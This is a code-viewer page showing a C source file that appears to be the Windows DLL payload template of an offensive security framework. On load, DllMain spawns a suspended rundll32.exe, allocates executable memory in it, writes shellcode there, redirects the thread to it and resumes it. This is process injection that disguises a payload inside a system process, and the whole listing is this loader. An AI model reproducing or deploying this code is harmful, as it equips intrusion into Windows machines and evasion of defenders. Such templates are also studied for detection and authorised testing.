Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/data/templates/src/pe/dll/template.c
Views: 11655
#include <windows.h>1#include "template.h"23#if BUILDMODE == 24/* hand-rolled bzero allows us to avoid including ms vc runtime */5void inline_bzero(void *p, size_t l)6{7BYTE *q = (BYTE *)p;8size_t x = 0;9for (x = 0; x < l; x++)10*(q++) = 0x00;11}1213#endif141516void ExecutePayload(void);1718BOOL WINAPI19DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)20{21switch (dwReason)22{23case DLL_PROCESS_ATTACH:24ExecutePayload();25break;2627case DLL_PROCESS_DETACH:28// Code to run when the DLL is freed29break;3031case DLL_THREAD_ATTACH:32// Code to run when a thread is created during the DLL's lifetime33break;3435case DLL_THREAD_DETACH:36// Code to run when a thread ends normally.37break;38}39return TRUE;40}4142// Use a combination semaphore / event to check if the payload is already running and when it is, don't start a new43// instance. This is to fix situations where the DLL is loaded multiple times into a host process and prevents the44// payload from being executed multiple times. An event object is used to determine if the payload is currently running45// in a child process. The event handle is created by this process (the parent) and configured to be inherited by the46// child. While the child process is running, the event handle can be successfully opened. When the child process exits,47// the event handle that was inherited from the parent will be automatically closed and subsequent calls to open it will48// fail. This indicates that the payload is no longer running and a new instance can be created.49BOOL Synchronize(void) {50BOOL bResult = TRUE;51BOOL bRelease = FALSE;52HANDLE hSemaphore = NULL;53HANDLE hEvent = NULL;54SECURITY_ATTRIBUTES SecurityAttributes;5556// step 1: define security attributes that permit handle inheritance57SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);58SecurityAttributes.lpSecurityDescriptor = NULL;59SecurityAttributes.bInheritHandle = TRUE;6061do {62// step 2: create a semaphore to synchronize this routine63if ((hSemaphore = CreateSemaphoreA(&SecurityAttributes, 1, 1, szSyncNameS)) == NULL) {64// if the semaphore creation fails, break out using the default TRUE result, this shouldn't happen65break;66}6768bResult = FALSE;69// step 3: acquire the semaphore, if the operation timesout another instance is already running so exit70if (WaitForSingleObject(hSemaphore, 0) == WAIT_TIMEOUT) {71break;72}73bRelease = TRUE;7475// step 4: check if the event already exists76if (hEvent = OpenEventA(READ_CONTROL | SYNCHRONIZE, TRUE, szSyncNameE)) {77// if the event already exists, do not continue78CloseHandle(hEvent);79break;80}8182// step 5: if the event does not already exist, create a new one that will be inherited by the child process83if (hEvent = CreateEventA(&SecurityAttributes, TRUE, TRUE, szSyncNameE)) {84bResult = TRUE;85}86} while (FALSE);878889// step 6: release and close the semaphore as necessary90if (hSemaphore) {91if (bRelease) {92ReleaseSemaphore(hSemaphore, 1, NULL);93}94CloseHandle(hSemaphore);95}96// *do not* close the event handle (hEvent), it needs to be inherited by the child process97return bResult;98}99100void ExecutePayload(void) {101int error;102PROCESS_INFORMATION pi;103STARTUPINFO si;104CONTEXT ctx;105DWORD prot;106LPVOID ep;107108// Start up the payload in a new process109inline_bzero( &si, sizeof( si ));110si.cb = sizeof(si);111112if (Synchronize()) {113// Create a suspended process, write shellcode into stack, make stack RWX, resume it114DWORD result = CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS|CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, &si, &pi);115116// If we fail, try again without the CREATE_BREAKAWAY_FROM_JOB flag in the event that we are in a job but we can't break away from it.117if (result == FALSE){118result = CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi);119}120121if (result) {122ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;123GetThreadContext(pi.hThread, &ctx);124125ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);126127WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);128129#ifdef _WIN64130ctx.Rip = (DWORD64)ep;131#else132ctx.Eip = (DWORD)ep;133#endif134135SetThreadContext(pi.hThread,&ctx);136137ResumeThread(pi.hThread);138CloseHandle(pi.hThread);139CloseHandle(pi.hProcess);140}141}142ExitThread(0);143}144145146